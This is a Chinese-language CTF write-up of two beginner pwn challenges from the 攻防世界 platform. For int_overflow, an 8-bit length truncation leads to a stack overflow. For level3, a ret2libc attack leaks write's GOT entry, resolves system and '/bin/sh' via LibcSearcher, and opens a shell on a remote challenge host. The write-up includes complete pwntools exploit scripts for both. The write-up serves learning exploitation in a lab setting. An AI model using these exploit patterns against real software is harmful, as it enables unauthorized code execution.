攻防世界pwn(4)

int_overflow

攻防世界pwn(4)_第1张图片
攻防世界pwn(4)_第2张图片

call strlen 之后 返回值放在了al寄存器中,这是一个八位的积存器,也就是说如果 s 字符串的长度 大于255 就会造成 整数溢出。

那我们利用这个漏洞干什么呢,我们需要进到else里,将 read 读进来的 s 复制到 dest 中,是一个可以利用的栈溢出。

现在我们知道了可以通过整数溢出到达 栈溢出漏洞,修改程序执行流,使程序跳转到 what_is_this 中。

from pwn import *
p = process("./int_overflow")
p.sendlineafter("choice:","1") 
p.sendlineafter("username:\n","YmCold")

payload = "A"*24 
payload += p32(0x804868b) 
payload = payload.ljust(261,"A")
p.sendlineafter("passwd:\n",payload) 
print p.recvall()

攻防世界pwn(4)_第3张图片

level3

攻防世界pwn(4)_第4张图片
攻防世界pwn(4)_第5张图片
攻防世界pwn(4)_第6张图片
没有system,只能去libc库里面找

# -*- coding:utf-8 -*-  
from pwn import *
from LibcSearcher import LibcSearcher
p=remote("111.198.29.45",31144)
elf = ELF("./level3")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
got_write = elf.got['write']
vul_func = 0x0804844b #这里用main_addr = elf.symbols['main'] 返回主函数也是可以滴
payload = 'A' * 140 + p32(plt_write) + p32(vul_func) + p32(1) + p32(got_write) + p32(4)
p.recvuntil('Input:\n')#这句千万不能漏了,逻辑出问题就会执行不了,这句的意思就是调用执行嘛,然后就把payload写进去就可以达到目的哟
p.send(payload)
write_addr = u32(p.recv(4))
print hex(write_addr)

libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write')
system_addr = offset + libc.dump('system')
binsh_addr = offset + libc.dump('str_bin_sh')
payload1 = 'a' * 140 + p32(system_addr) + p32(plt_read) + p32(binsh_addr)
p.recvuntil('Input:\n')
p.send(payload1)
p.interactive()

攻防世界pwn(4)_第7张图片
好了,新手入门全部做完了,耶,开心~~~
萌新之旅要开始啦~~~

你可能感兴趣的:(任务)